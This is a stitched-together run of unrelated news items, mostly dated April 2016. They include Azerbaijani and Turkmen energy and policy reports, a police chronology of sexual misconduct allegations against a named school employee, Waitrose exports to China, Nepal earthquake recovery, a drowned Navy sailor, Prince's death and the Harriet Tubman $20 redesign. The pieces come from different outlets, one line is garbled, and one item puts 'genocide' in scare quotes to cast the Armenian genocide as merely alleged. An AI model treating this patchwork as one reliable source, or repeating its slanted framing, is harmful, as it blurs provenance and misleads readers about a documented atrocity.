The expert believes that the foundation of Center for Analysis of Economic Reforms and Communications in Azerbaijan by the President most probably, aims to assess the economic situation in the country. It is necessary to have a strong control mechanism over the Centers activities.

Moreover, independent economists and sociologists should be involved in this Center. Particularly, more transparent and concrete reports should be submitted to the leadership by think tanks and independent economist-researchers as they can contribute much in decreasing dependence of the state budget on oil revenues within the country by suggesting stages of decreasing this dependence, involving investments to the non-oil sector and assessing profitable and non-profitable sectors, he added.

In addition, there is a need for specialization on various sectors within the Center. An analytic group must be established to identify which sectors may bring more revenues to the state budget, the expert said. Especially, the engagement of the qualified financier will boost the transparency of the Center.

The Center for Analysis of Economic Reforms and Communications was founded in April 20 by the order of the President on the establishment of the Center and provision of its functioning.

The Supervisory Board of 3 members will supervise the centre. The president holds an authority to appoint or dismiss the chairman and members of the Board.

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22 April 2016 14:00 (UTC+04:00)

By Laman Ismayilova

Azerbaijan State Academic Opera and Ballet Theatre in Baku will host the "Carmen"

opera by George Bizet, Trend Life reports.

This brilliant work of art is valuable contribution to the treasury of world opera.

Andrey Romanenko, the soloist of the National Opera of Ukraine, laureates of international competitions, the People's Artist of Ukraine will perform in the role of Don Jose. Carmen will be performed by young talented vocalist Chinara Shirin.

The play will bring together the leading soloists of Azerbaijan State Academic Opera and Ballet Theatre- people's artist Ali Asgarov (Zuniga), honored artists Inara Babayeva (Micaelli), Gulnaz Ismayilova (Frascati) and Anton Verstand (Escamilio).

The performance will be conducted by People's artist of Azerbaijan, Professor Javanshir Jafarov.

"Carmen" is an opera in four acts by French composer Georges Bizet, based on a novella of the same title by Prosper Merimee. The opera is written in the genre of opera comique. "Carmen"has since become one of the best-loved operas, performed in the classical canon.

Synopsis: Carmen was a fiery gypsy girl who worked in a cigar factory. An army officer, Don Jose, was called to the factory because a fight broke out. He arrested Carmen because she hit another woman. However, he became enchanted with the exotic Carmen, and let her escape.

Don Jose deserted the army and followed Carmen into the mountains. But the beautiful gypsy soon tired of the steadfast Don Jose, and she fell in love with Escamillo, a dashing bullfighter. Devastated, Don Jose confronted Carmen outside the bullring. As the crowd cheered Escamillo in the background, Don Jose stabbed Carmen to death.

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Laman Ismayilova is AzerNews staff journalist, follow her on Twitter: @Lam_Ismayilova

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22 April 2016 13:07 (UTC+04:00)

By Laman Ismayilova

A documentary film featuring a story of two Aghdam citizens, who were internally displaced because of Armenian occupation on July 23, 1993 has been presented in Baku.

A grand presentation of documentary film "Agdam. 5 fraqment" shot by Belgium organization "The connection point of the Caucasus" took place at Baku's Nizami Cinema Center, Trend life reports.

"The connection point of the Caucasus" organization is funded by the Council of State Support to NGOs under the President of Azerbaijan.

The event was attended by prominent public figures, heads of state agencies, public associations, as well as representatives of diplomatic missions accredited in Azerbaijan and creative team of the film.

Addressing the ceremony, the organization's chairman Michel Ivor told about the film shooting process and expressed deep appreciation for the support provided by the Council within its grant program for foreign NGOs.

MP Bakhtiyar Aliyev and Chairman of the NGO Council, MP Azay Guliyev praised the work of the casting team, adding that the main characters showed the bitter fate of more than one million Azerbaijanis.

Later, the Council awarded Michel Ivor, the film director, an honorary diploma within its grant program for foreign NGOs.

Noteworthy, the film was first presented in Brussels in February and elicited high public interest.

The Armenian armed forces invaded a city and 80 villages of Agdam district territory on July 23, 1993. The Armenian aggressors could seize 882 sq. km. of the 1,094 sq. km. territory of the region. This occupation resulted in displacement of 128,000 people, including 17,000 of adults.

Since a war in the early 1990s, the Armenian armed forces have occupied 20 percent of Azerbaijan's territory, including Nagorno-Karabakh and seven surrounding regions.

A fragile ceasefire has been in place since 1994, but long-standing efforts by U.S, Russian, and French mediators have been largely fruitless so far. Armenia has not yet implemented the U.N. Security Council's four resolutions on its pullout from the neighboring country's territories.

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Laman Ismayilova is AzerNews staff journalist, follow her on Twitter: @Lam_Ismayilova

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22 April 2016 10:36 (UTC+04:00)

By Amina Nazarli

Azerbaijani parachutists now have the opportunity to engage in the real sport, as the RockStone sport club signed an agreement with foreign counterparts and spent the first training for the national athletes.

For a long time, the maximum what fans of this extreme sport could afford, was jumping from 800-1,000 on automatic parachute to land in Balakan region of the country.



Now extreme lovers will have the chance to pass the full course of parachute jumps in a three-day training, which includes ground training (theory and practice) and eight jumps with the parachute regulations.

After this course, which also provides one with the AFF certificate, parachutist can already make independent jumps anywhere in the world drop zone with a height of 4,000 meters and with a free fall of up to one minute.

Skydiving is a sport in which athletes jump out of an airplane at a certain altitude and perform acrobatic movements in free fall during about a minute. Then they open their parachutes to slow down and return safely to Earth.

Jump with a delay opening parachute allows one to share the adrenaline that cannot be experienced in other sports. The feeling of free fall at a height above the cloud is the feeling that is not possible to describe in words.

The ability to control the body position in flight at speeds up to 200 km/h is incomparable with anything else, say the extreme lovers.

Azerbaijan has only one licensed skydiver Rustam Ibrahimov, who was licensed in Germany and is already planning to try BASE Jumping, parachuting or wingsuit flying from a fixed structure or cliff.

Like any extreme sports, skydiving requires the presence of physical and mental training, Rustam says.

Most importantly, it is necessary to analyze the situation and understand the risks, starting from the time of unpacking to packaging the parachute into a suitcase. In addition, since this sport depends on weather conditions, you need to have time and patience. You can, for example, spend all weekend in anticipation of optimum weather, the skydiver explains.

RockStone club member Jamal Kashkay believes that a fully licensed national parachutists group is possible for the near future. Although the financial resources are of great importance in this case, but the main task here is the desire of athletes.



If you have neither desire nor time to study, you can try to jump in tandem with an instructor. It will not give you the whole spectrum of feelings, but allow to understand the feelings of parachutists, he said.

--

Amina Nazarli is AzerNews staff journalist, follow her on Twitter: @amina_nazarli



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22 April 2016 12:18 (UTC+04:00)

By Fatma Babayeva

Trans-Anatolian gas pipeline will play an important role in ensuring the energy security of Europe, said Bud Fackrell, the spokesman of the BP Turkey to the Turkish newspaper Pusulahaber on April 22.

BPs spokesman stressed that the construction of the TANAP pipeline will turn Turkey into an energy hub in the region.

Fakrell also stated the strategic importance of the Azerbaijani-initiated Southern Gas Corridor project.

In addition, Saltuk Duzyol, TANAP General Manager said to Azertac that all opportunities will be used for commissioning TANAP before June 2018.

He said that tender with an approximate cost of $4.5 billion is complete and agreements have been signed within the framework of the project. So far, welding of pipes on the 440-kilometer section of the pipeline has been finalized.

TANAP project envisages transporting gas from Azerbaijani Shah Deniz field via the Georgian-Turkish border to the western border of Turkey onwards Greece where it will be connected to the Trans Adriatic Pipeline.

The Shah Deniz gas will be sent to Turkey in 2018. After the completion of the TAP pipeline, this gas will be transported to the Europe approximately at the beginning of 2020.

Azerbaijans state owned energy company SOCAR owns 58 percent shares in TANAP, while Botas and BP have 30 percent and 12 percent of shares respectively.

The Southern Gas Corridor project is a priority for the EU and it will provide transportation of 10 billion cubic meters of Azerbaijani gas from the Caspian region to Europe via Georgia and Turkey.

At the initial stage, the gas will be produced within the second phase of Azerbaijani gas condensate field Shah Deniz which is considered as the main source for the Southern Gas Corridor.

At later stages, other sources can be connected to the pipeline.

The gas that will be produced within the second development stage will be exported to Turkey and to European markets through the expansion of the South Caucasus gas pipeline and the construction of TANAP and TAP.

It is the main investment project of Azerbaijan.

Since the EU tries to diversify away from one main gas supplier to its markets and tries to reduce its dependence on Russian gas after the ties between these two has become tense due to issues related to Ukraine crisis and use of gas as political tool, the realization of the SGC project will contribute to the enhancement of the energy security of the EU.

Albania, Bulgaria and some other European countries are also earlier expressed their willingness to be connected to the TAP pipeline.

Moreover, the realization of the SGC project will increase Azerbaijans role in the region and bring it closer to the EU.

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22 April 2016 11:07 (UTC+04:00)

Standard & Poor's Ratings (S&P) Services placed Apr. 21 its 'BB' long-term corporate credit rating on Kazakhstan's national railroad company Kazakhstan Temir Zholy (KTZ) and its core subsidiary - freight-wagon owner JSC Kaztemirtrans (KTT) on CreditWatch with negative implications, the agency reported.

The agency also placed 'kzA' Kazakhstan national scale rating on KTZ on CreditWatch negative.

"The CreditWatch placement primarily reflects that KTZ has not yet secured refinancing for its $350 million notes that mature on May 11, 2016," said the agency.

The S&P may lower the ratings on KTZ by more than one notch if the company fails to seal the refinancing deal over the coming weeks.

The agency also said that with less than one month remaining before the maturity date, KTZ's ability to finalize the transaction is vulnerable to any further delays in its negotiations with creditors or delays for any other reason.

Meanwhile, the S&P estimates that KTZ had about $320 million (109 billion Kazakh tenges) of cash and cash equivalents as of Jan. 1, 2016, which continue to be available to the company and could be used for refinancing purposes if part of external financing is delayed for any reason.

The agency's rating on KTZ also incorporates its assumption that there is a very high likelihood that KTZ's owner - the Kazakh government - would be able to provide extraordinary support to the company should it be needed to meet the maturing obligations.

"The CreditWatch negative placement reflects the possibility that we could lower the rating by more than one notch if the company does not finalize the refinancing deal over the next few weeks or is unable to accumulate the full amount to repay the notes falling due in May," said S&P.

The S&P plans to resolve the CreditWatch over the coming weeks, once the agency have a clear view whether the company will be able to repay maturing notes on time or not.

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22 April 2016 12:01 (UTC+04:00)

Iran does not recognize the verdict of the U.S. Supreme Court against Iran, Iranian Foreign Minister Mohammad Javad Zarif was quoted by IRNA as saying.

"The U.S. government knows well that any attempt concerning Iran's assets will make that country in the position of accountability vis-a-vis the Iranian nation and obliging that country to return those assets to the Iranian nation,' Zarif told reporters at the end of special meeting of the UN General Assembly meeting in New York on April 21.

Zarif, commenting on his meeting with his U.S. counterpart John Kerry to be held on April 22, said that the two foreign ministers will not discuss issues other than the Joint Comprehensive Plan of Action (JCPOA) and the issues related to its proper implementation.

"Our discussion here will be in continuation of the previous talks on JCPOA and we have agreed that the American side to study the points that were raised by us and in relation to the proper implementation of the JCPOA and respond to us," he noted.

Asked whether he will discuss the U.S. Supreme Court's verdict against Iran during his meeting with Kerry, Zarif said, "as we have said before we do not recognize the verdict by the U.S. court and the U.S. government is well-aware of that."

The U.S. Supreme Court on April 20 ruled that almost $2 billion in frozen Iranian assets must be turned over to American families of people killed in the 1983 bombing of a U.S. Marine Corps barracks in the Lebanese capital of Beirut and other attacks blamed on Iran.

The assets belong to the Central Bank of Iran (CBI), which has been blocked under U.S. sanctions.

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22 April 2016 12:33 (UTC+04:00)

Turkmen Foreign Ministry has held a meeting with Finland's ambassador to the country Niklas Lindqvist, the ministry reported on April 20.

During the meeting the sides discussed the development of trade and economic cooperation between the two countries.

They agreed to achieve this through holding joint forums and establishing closer contacts between business structures of the two countries. The parties also noted the importance of interparliamentary and agricultural cooperation through exchanging experience and information in these directions.

Expressing commitment to further expansion of cooperation in the sphere of politics, the parties noted the role of the relations' development within international organizations.

In recent years, Turkmenistan has activated its interest in the cooperation with the Scandinavian countries. In particular, the Turkmen State Statistics Committee said earlier that Finland's economic experience is of particular interest for Turkmenistan, which is gradually moving to market relations.

In January 2016, the Turkmen parliament ratified the agreement between the governments of Turkmenistan and Finland on the avoidance of double taxation in relation to income taxes.

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22 April 2016 12:16 (UTC+04:00)

Turks residing in the U.S. will hold large-scale protest actions against Armenian claims regarding the 1915 events, the Anadolu Agency reported on April 22.

The protest actions will be held in New York and other large cities of the U.S. with participation of representatives of Azerbaijani, Pakistani and Arabian communities.

Armenia and the Armenian lobby claim that Turkey's predecessor, the Ottoman Empire allegedly carried out "genocide" against the Armenians living in Anatolia in 1915.

Turkey in turn has always denied "the genocide" took place.

While strengthening the efforts to promote the "genocide" in the world, Armenians have achieved its recognition by the parliaments of some countries.

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22 April 2016 16:28 (UTC+04:00)

Iran's Deputy Foreign Minister Abbas Araqchi and EU Foreign Policy Coordinator Helga Schmid met in Vienna to discuss an upcoming meeting of the JCPOA committee meeting.

The two diplomats discussed the agenda for the upcoming meeting between representatives from Iran and the six powers called the group 5+1 (the US, UK, France, Russia, China, andGermany), IRNA news agency reported on April 22.

This will be the first meeting between the signatories of the Joint Comprehensive Plan of Action (JCPOA) since it was put in action on January 16.

The sides will meet to discuss how well the nuclear deal is being implemented. While Iran is carrying its part of the deal to reprogram its nuclear activities, the country has been criticizing the US for acting in a way to prevent Tehran from seeing the benefits of the deal in action.

While nuclear-related international sanctions were lifted by the deal, a set of sanctions by the US still remain in place, banning the trade of US-made goods and services to end up in the hands of people of Iran.

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22 April 2016 21:49 (UTC+04:00)

By Fatma Babayeva

State Concern Turkmengaz plans to build a plant for processing natural gas into GTL together with a consortium of South Korean LG, Hyundai Company and Japanese Itochu, announced the Turkmen government said on April 22.

The question on the laying foundation of this complex in Akhal region which is located in the central part of Turkmenistan was discussed at the meeting of the Cabinet of Ministers.

President Gurbanguly Berdimuhamedov stressed the significance of the gas processing industry, particularly drawing attention to its intensive development which is intended to facilitate integrated industrialization of the regions, diversification of the national economy and increase in the export of demanded products to the world markets.

The president instructed to keep in focus the matters related to the implementation of the new investment project in Akhal region and to equip the plant with modern technologies. The industrial complex should meet all safety requirements for the environment.

The new complex is expected to process 3.7 billion cubic meters of natural gas and produce 1.1 million tons of diesel fuel and 400,000 tons of straight-run gasoline (naphtha) per year.

Earlier, Turkmenistan announced a plan to construct 10 industrial enterprises in November 2015.

At the moment, Turkmenistan is building the gas-chemical complex for the production of polyethylene and polypropylene and the plant for processing natural gas into A-92 and Euro-5 gasoline. Both plants will be commissioned in 2018.

In addition, the construction of the plant producing polymers from methanol is also planned.

Almost all gas chemical and gas processing plants are export-oriented.

Overall, advance processing of natural gas will increase share of processed goods in export of Turkmenistan. The country will not only enhance its position in primary energy market, but also will take a worthy place in the gas and chemical products market.

Turkmenistan possesses 9.3 percent of the worlds total proven natural gas reserves and produces 2 percent of the total natural gas output, according to the BP Statistical Review of World Energy 2015.

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       3.0 (      -       -         ): editor [at] bahrainmirror.com
Accusations of sexual misconduct against Bobby-Scott Campos Perigo span eight years, according to Delano Police Department reports. Police arrested him for the first time last month.

Summer 2008: A 16-year-old girl told police she and Perigo had sex multiple times. He was 22. Perigo, a volunteer baseball coach at the time, denied those accusations, and the girl refused to undergo a forensics exam. He was not arrested.

Aug. 21, 2009: Perigo told detectives that on July 4, 2009, he groped and fondled a 17-year-old girl in his personal vehicle while she was completely naked, but stopped short of having sex because he did not have a condom. He was a CHP Academy cadet at the time of the incident. He was not arrested because the girl he said he groped denied anything happened.

Aug 24, 2009: Perigo resigned his position as a CHP officer in the Newhall area just five days after Delano police launched an investigation into a report Perigo committed lewd and lascivious acts with a couple of teenage girls from Delano.

March 2016: Perigo, now 28, admitted to detectives he carried on a sexual relationship with another 17-year-old student while employed as a student affairs specialist at Delano High School. During a phone call monitored by detectives, he told the girl it wasnt just about hooking up. He is facing criminal charges.

Another alleged underage victim emerged, telling police that in 2014, Perigo forced her into a locker room and made her touch him inappropriately, according to Delano Police Department documents filed in Kern County Superior Court. She was a student at the time.
The supermarket has started to sell its Waitrose Duchy Organic biscuits to China, as part of a new deal to export to the country for the first time.

The 10 biscuit lines, which include the Highlands-made Duchy Organic Shortbread Petticoat Tails and Duchy Rosemary & Thyme Oaten Biscuits, are part of an initial range of 30 products being exported to China by the retailer. Other lines include tea, nuts and beauty products.

They are being exported through Royal Mails store on Tmall Global, an online marketplace also used by United Biscuits, after it forged a deal in 2015.

Mark Williamson, commercial director at Waitrose, said: The potential for Waitrose in China is huge and, although its a relatively modest start, its our ambition to see it become our biggest international business in the next three to five years.

We are proud that Waitrose is recognised around the world for quality, and excited to be reaching new markets.

Royal Mails store specialises in championing British companies, and its dedicated Waitrose page has information about the brand alongside the product listings.

Richard Snowdon, international director at Royal Mail, said: We are delighted to welcome Waitrose to the Royal Mail store, and to offer its products to Chinese consumers.

Our Tmall Global shop front brings British brands together with hundreds of millions of shoppers in China. For British retailers and exporters, Royal Mail offers an accelerated opportunity to access the China market and, for consumers, we provide a distinctive range of quality British products delivered right to their door.
Premier Foods has officially entered into its previously-announced relationship agreement with Japanese instant noodle firm Nissin.

The Mr Kipling-maker had previously said the deal would allow Nissin to distribute its products in the UK, while making its own products more widely available in key overseas markets. It added there would also be opportunities for the sharing of intellectual property and manufacturing capabilities.

Today (22 April), Premier Foods said that Nissin would have the right to appoint a non-executive director to its board for as long as it held a 15% stake in the company. Nissin currently holds a 19.90% stake.

The news comes in the wake of US spice brand McCormick walking away from talks to buy Premier after examining its books. McCormick had previously made three bids for Premier, at 52p, 60p and 65p a share, all of which were rejected.

Premier said: Further to our announcement dated 24 March 2016, Premier Foods plc and Nissin Foods Holdings Co, Ltd. have today entered into a relationship agreement on terms and conditions that are customary for a substantial shareholding of this nature.
Selling a home isnt hard if youve got the right guidance and approach. Here we break down the process to sell your housefrom deciding if you really should sell, to finding a real estate agent wholl be your partner through it all, to pricing your home and negotiating offers.
Nepal earthquakes: one year on

It is a year since the first 2015 earthquake hit Nepal. What is life like in the country now and what difference has your generous giving made?

Everything has been devastated by the earthquake and everything is unsettled.



When the first earthquake shook Nepal on 25 April 2015, everything changed for Bir Bhada Dimdung and his family. Not only was his home destroyed but his neighbours houses were too. Almost all of the houses in the Sankhu area of Lalitpur District where he lives were either destroyed or badly damaged.



Bir Bhada (below) and his family are still living in a temporary house 12 months on. But thanks to the generous giving of BMS World Mission supporters, when it is possible for him to, he will be able to not only build his own house but help build others too. He has now received stonemason training to enable him to build homes to withstand future earthquakes.



Before the training I had no idea about what sort of house was earthquake-resistant and I would have just used stones, Bir Bhada says. Now I have ideas for earthquake-resistant houses.



The skills he has learned mean that he can be paid more for the work he does, increasing the opportunities for him and his family.



My hope for the future is to build a better shelter for my family and to provide higher education for my son, he says. My son gives me a new hope.



Sita Maya Ghising (below) lives in the same district and her home was destroyed too. Thanks to BMS, she has received training in livestock management, dairy production and growing vegetables. The training is giving her ideas of a new, more hopeful future.



I want to have a strong family and be a role model so that change can be seen in me, Sita Maya says. I am not so well educated, so I want to establish a big farm and get registered. I started with milk after the earthquake and want to grow my farm and dairy produce business.



Bir Bhada and Sita Maya are just two of the people whose lives have been transformed by the 540,000 you gave to the BMS Nepal earthquake appeal. In the first few weeks after the disaster, over 50,000 provided:



 food relief

 blankets

 tarpaulins

 medical supplies

 a vehicle for distributing relief and helping with long-term recovery efforts

 training for those responding to the earthquake



The majority of the money raised is going towards the second phase of rehabilitation, which should take about three years. During that time we will be contributing to the transformation of over 54,000 people by supporting education and health programmes, enabling livelihood training like that given to Bir Bhada and Sita Maya, and providing materials and support for the construction of hundreds of new earthquake-resistant homes for those currently living in temporary shelters or severely damaged homes. With your help, we are also helping to train people to prepare better for future earthquakes.



BMS mission worker Jerry Clewett, who initially directed the disaster response for one of our partners in Nepal, says that the response from BMS in the first few days and weeks following the earthquakes was vital in enabling them to be able to help 12,000 people in seven severely affected communites.



The pledges of money from BMS and other partners were absolutely crucial, he says.



All of the support has had a fantastic impact, both in a tangible way by enabling work to be done, and in an encouraging way  knowing that people care outside Nepal.



Since the first earthquake 12 months ago, there have been over 400 aftershocks. BMS mission worker Ruth Clewett says they have grown used to them but they still put them on edge.



Paradoxically, part of you is a bit blase, she says. When there is an aftershock, you shrug it off. At the same time were a bit hyper  if someone knocks into the back of your chair, you jump.



With recent earthquakes in Ecuador, Japan and Afghanistan, some believe there might be another earthquake in Nepal soon. There is a lot of superstition and fear here, says BMS worker Debbie Drew.



Fellow mission worker Jenny Saunders has heard similar superstitions. Some are predicting a big earthquake on the anniversary and some will be sleeping outside just in case, Jenny says.



Despite the fear, many good things have come out of the response to the earthquakes. A community spirit to look out for each other has grown, with many taking helping the needy into their own hands.



I can see signs of hope, says Jerry Clewett. There is a lot of goodwill from people, particularly from the more wealthy people in Kathmandu and especially the younger people. I think there is a growing civil awareness and willingness to support others who are less well-off in the villages. Providing that positivity continues, there will be a lot of hope for the future.



It will take years for Nepal to fully recover from last years earthquakes, and BMS is committed to helping in that process through recovery work, our mission worker presence and prayer. Please continue to pray for Nepal and especially for good leadership there.



Pray that God will raise up people who will be truly concerned about the needs of the poorest and worst-hit people, suggests BMS worker Andy Saunders. Pray that God will raise up leaders in all areas of society, who have a real heart for the country.



The work we are doing to help earthquake survivors would not have been possible without your generous support. Thank you.



This article first appeared on the website of BMS World Mission and is used with permission.





BMS World Mission, 22/04/2016
Hillsborough County Sheriff's investigators have identified the boater that went missing Monday, prompting a two-day, multi-agency search in the waters off Bahia Beach.

Boater's name is Kenneth Gates, 32, of Lawrenceville, Georgia

Gates was out on the water Monday with a friend, Kearston Jones, 38

Gates was a 10-year veteran of the U.S. Navy serving at SOCOM

Investigators suspended the search for Kenneth Gates, 32, as of Thursday afternoon.

PREVIOUS STORY: Officials: Missing boater an active service member at MacDill AFB

According to a statement from the United States Special Operations Command Office of Communication, Chief Petty Officer Gates was a 10-year veteran of the Navy, assigned in 2015 to the command's Force Management Division.

Chief Gates was not only an integral part of the Navy team here at SOCOM, he was a caring father and an amazing mentor to the Sailors who worked for him, explained Capt. Kent Paro, USSOCOMs Navy element commander, He will be deeply missed at home and on base.

At this time, investigators say the incident appears accidental, and they suspect no foul play.
U.S. Coast Guard officials found a body in Tampa Bay late Thursday, just hours after a search for a missing Navy chief petty officer was called off.

Boater's name is Kenneth Gates, of Lawrenceville, Georgia

Gates was out on water Monday with friend Kearston Jones

Gates was with the Navy for 10 years, was serving at SOCOM

Hillsborough County Sheriff's investigators confirmed Friday afternoon that the body found was that of Chief Petty Officer Kenneth Gates.



Gates, 32, went missing while boating with a friend Tuesday, which prompted a multi-agency search this week in Bahia Beach-area waters near Ruskin.



According to officials, Gates and friend Kearston Jones were in a boat anchored about two miles west of Little Harbor in Ruskin. Just before noon Tuesday, he dove in the water to free the anchor and never resurfaced. Jones called 911 and activated the emergency response.



The search for Gates was called off Thursday. Officials have not identified the body found Thursday night.

According to a statement from the U.S. Special Operations Command Office of Communication, Gates had been with the Navy for 10 years, assigned in 2015 to the command's Force Management Division.

Gates' family had traveled to MacDill Air Force Base from out of state. Deputies say he was the father of a 7-year-old boy.



Chief Gates was not only an integral part of the Navy team here at SOCOM, he was a caring father and an amazing mentor to the sailors who worked for him, said Capt. Kent Paro, SOCOMs Navy element commander. He will be deeply missed at home and on base.

At this time, investigators say the incident appears accidental, and they don't suspect foul play.
Tampa firefighters responded to a small warehouse fire Friday morning.

Officials said a call came in at about 4 a.m. from a warehouse at 11605 N. Nebraska Ave.

Smoke was seen coming from the warehouse when crews arrived. The two-alarm fire was in a small part of a large warehouse, officials said. Firefighters were able to knock down the fire quickly, according to officials.

Crews vented the building and searched the facility but did not find anyone inside.

There were no injuries. The fire is under investigation.


With only 11 students, Duette Elementary is the last one-room school house in Florida.



The woman behind this one-person school is Donna King, who 23 years ago started running it. Everything from science to pottery has been taught at the school, but this year the doors will close.

Northeastern Manatee County school is last one-room schoolhouse in the state

Teacher Donna King has been at the school the last 23 years

Manatee Superintendent Dr. Diana Greene recently visited the school

"If it had a larger enrollment, I would fight for the school to stay open," said Duette Elementary Principal Donna King.



Besides the lack of enrollment, and funding, King says it's time for her to go.



"It just dont have the strength that it used too."



As summer nears, the chairs will become empty. However, before the school closes King requested the superintendent of Manatee schools see the one-room schoolhouse before it was gone.



"I thought it was walking back in time, when I think and imagine a one-room school house it pretty much lived up to my imaginations," said Manatee County Superintendent Diana Green.



Green was able to see the children play, and see the history on the walls before any decisions can be made.



"There is no intention of putting it on the market. There is no intention of doing anything but helping the principal close out the school year successfully," she said.



King says the superintendent's visit brings closure to this chapter in her life.



"Im at peace today after meeting with Dr. Green. That the building is going to be preserved and nothing is going to be done in a hurry and no rash decisions are going to be made. So Im happy about that."



There is no doubt the school is in its final days, but as the laughter fades king says she hopes the legacy of the school will stay.


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Prince, the most protean pop star of his generation, has been found dead on his Minneapolis estate at the age of 57.

Authorities responded to a medical emergency call Thursday morning at Paisley Park in Minnesota, where the pop superstar has his recording studios. Deputies found the artist unresponsive in an elevator, said Carver County Sheriff Jim Olson.

First responders tried CPR but couldn't revive the 57-year-old musician, Olson said, adding that Prince was pronounced dead at 10:07 a.m. Thursday, about half an hour after deputies arrived.

Olson says the death is under investigation. An autopsy is scheduled for Friday, according to a report from the Associated Press.

RELATED: Listen to the emergency dispatch call to Prince's studio

Paisley Park Studios, a large compound in Chanhassen, Minnesota, served as both his record studio and his home. He's recorded several of his hit records at the complex, including "Parade," "Diamonds and Pearls" and "Around the World in a Day."

Prince was reported to have been hospitalized in Illinois on Friday on his way back from his final concert in Atlanta. He subsequently appeared at a dance party at Paisley Park.

MORE: Things you probably didn't know about Prince

President Barack Obama is lamenting the loss of a "creative icon" with the death of rock superstar Prince.

In a statement, the president called Prince "one of the most gifted and prolific musicians of our time" and that "nobody's spirit was stronger, bolder or more creative" than Prince's.

In videos, movies and innovative, provocative single after single, Prince helped define '80s pop culture with a blend of R&B, slinky funk, hard rock guitar and a fearless embrace of sexuality.

The cover of 1980's "Dirty Mind," featuring a bare-chested Prince in black bikini underwear, made that plain. But it was his 1982 album "1999" that put him over the top, with its upbeat title track about partying at the end of the millennium  every bit as prophetic as George Orwell's "1984" and the supremely seductive "Little Red Corvette."

SEE ALSO: Celebrities react to death of music legend Prince

"Purple Rain," the 1984 album and movie about the rise of a Prince-like rock star, secured his place in the pop pantheon. It also made him infamous when Tipper Gore, the wife of Sen. Al Gore, and other founders of the Parents Music Resource Center placed the "Purple Rain" track "Darling Nikki" at the top of their "Filthy Fifteen" list of objectionable songs. Prince, it should be noted, also had a hand in "Filthy Fifteen" songs by Sheena Easton and Vanity.

At his peak, Prince seemed to re-create pop music in his image with every new single: "When Doves Cry," "Raspberry Beret," "Kiss," "Sign O the Times."

RELATED: 1990s WWE wrestling star Chyna dies in Southern California

He also became an advocate for artist's rights in a long, well-publicized struggle with his record label, Warner Bros. For most of the '90s, he replaced his name with a symbol combining elements of male and female; he commonly was referred to as "The Artist Formerly Known as Prince."

Prince was not much of a presence on the pop charts in the new millennium, but the party didn't end in 1999. He continued to tour and create, releasing double albums, triple albums, three CDs at once, music via online services and more.

His most recent, "HITnRUN: Phase One" and "HITnRUN: Phase Two," were released late last year.

SEE MORE: Legendary country singer Merle Haggard dies at 79

Fans of the music superstar gathered outside Paisley Park, as well as the downtown Minneapolis nightclub where much of the movie "Purple Rain" was filmed.

About 50 to 60 people were standing on the sidewalk outside First Avenue on Thursday afternoon to mourn the death of the musician, who died hours earlier. Prince received an Academy Award in 1985 for his music from "Purple Rain," the movie in which he starred as a young musician.

About a dozen bouquets, some balloons, candles and a guitar were left at the club. Some people stood with their heads bowed, while others quietly chatted about what Prince's music meant to them.

One fan, 32-year-old Amy Fox, says she came to the nightclub because it's where Prince began his career.

TMZ first reported his death.

The Associated Press contributed to this report.

twhite@mysa.com
Dora Nisby did not believe she would live long enough to see an African-American woman's face on U.S. currency.

The idea was simply unfathomable to Nisby, who along with her late husband, Cleveland, pushed for equality in Jefferson County.

Treasury Secretary Jacob J. Lew on Wednesday announced the most sweeping and historically symbolic makeover of U.S. currency in a century, proposing to replace the slaveholding Andrew Jackson on the $20 bill with Harriet Tubman, the former slave and abolitionist, and to add women and civil rights leaders to the $5 and $10 notes.

"This is breaking two barriers with a woman of color," said Nisby, 84. "It's outstanding. It gives hope to the hopeless. It gives hope that one day we can all be considered equal."

Lew may have reneged on a 10-month-old commitment to make a woman the face of the $10 bill, opting instead to keep Alexander Hamilton, to the delight of a fan base swollen with enthusiasm over a Broadway rap musical sharing the last name of the first Treasury secretary.

But the broader remaking of the nation's paper currency may well have captured a historical moment for a multicultural, multiethnic and multiracial nation moving contentiously through the early years of a new century.

Tubman, an African-American and a Union spy during the Civil War, will bump Jackson - a white man known as much for his persecution of Native Americans as for his war heroics and advocacy for the common man - to the rear of the $20, in some reduced image. Tubman will be the first woman so honored on paper currency since Martha Washington's portrait briefly graced the $1 silver certificate in the late 19th century.

While Hamilton will remain on the $10, and Abraham Lincoln on the $5, images of women will be added to the back of both - in keeping with Lew's intent "to bring to life" the national monuments depicted there.

The picture of the Treasury building on the back of the $10 bill will be replaced with a depiction of a 1913 march in support of women's right to vote that ended at the building, along with portraits of five suffrage leaders: Lucretia Mott, Sojourner Truth, Elizabeth Cady Stanton, Alice Paul and Susan B. Anthony, who in more recent years was on an unpopular $1 coin until minting ceased.

On the flip side of the $5 bill, the Lincoln Memorial will remain but as the backdrop for the 1939 performance there of Marian Anderson, the African-American opera star, after she was barred from singing at the segregated Constitution Hall nearby. Sharing space on the rear will be images of Eleanor Roosevelt, the first lady who arranged Anderson's Lincoln Memorial performance, and the Rev. Martin Luther King Jr., who in 1963 delivered his "I have a dream" speech from its steps.

Pat Avery, the first woman and African-American to serve on the Total Petrochemicals management team, said on Wednesday that she was "immensely proud and grateful to be alive" at a time where she can see someone other than a white man on the nation's currency.

Avery, who lives in Southeast Texas, was born and raised in Atlanta in the 1950s during the civil rights movement.

She remembers wondering whether people of color would ever have a real opportunity to succeed in America.

Tubman's face on the $20 bill, according to Avery, creates the symbolism for African-Americans of overcoming obstacles.

"We need that," Avery said. "What a powerful thing for the nation to do."

Paul Jones, president of Beaumont's NAACP chapter, said Tubman on the $20 bill acknowledges the roles that both women and African-Americans have played in the country's history.

"Knowing your history is an important part of moving forward and understanding the struggles that went on in the past, and it will help us moving forward in the future," he said.

The final redesigns will be unveiled in 2020, the centennial of the 19th Amendment establishing women's suffrage, and will not go into wide circulation until later in the decade, starting with the new $10 note. The unexpectedly ambitious proposals reflect Lew's tortuous attempt to expedite the process and win over critics who have lodged conflicting demands, pitting mainly women's advocates against Hamiltonians newly empowered by the unlikely success of their hero's story on Broadway.

Lew's design proposals are the culmination of 10 months of often-heated public commentary that began almost immediately after he invited Americans in June 2015 to help him decide what woman from history to honor on the $10 bill. That feel-good initiative proved to be hardly as simple as he imagined.

Immediately an online group called Women on 20s insisted that the woman to be honored - Tubman was its choice - had to go on the more common $20 note, displacing not the popular Hamilton but Jackson, whose place in history has suffered lately with attention to his record of forcibly relocating Native Americans, supporting slavery and - despite his prominence on currency - opposing a national banking system and paper money. But the $10 was next in line for redesign, based on federal officials' assessment of counterfeiting threats.

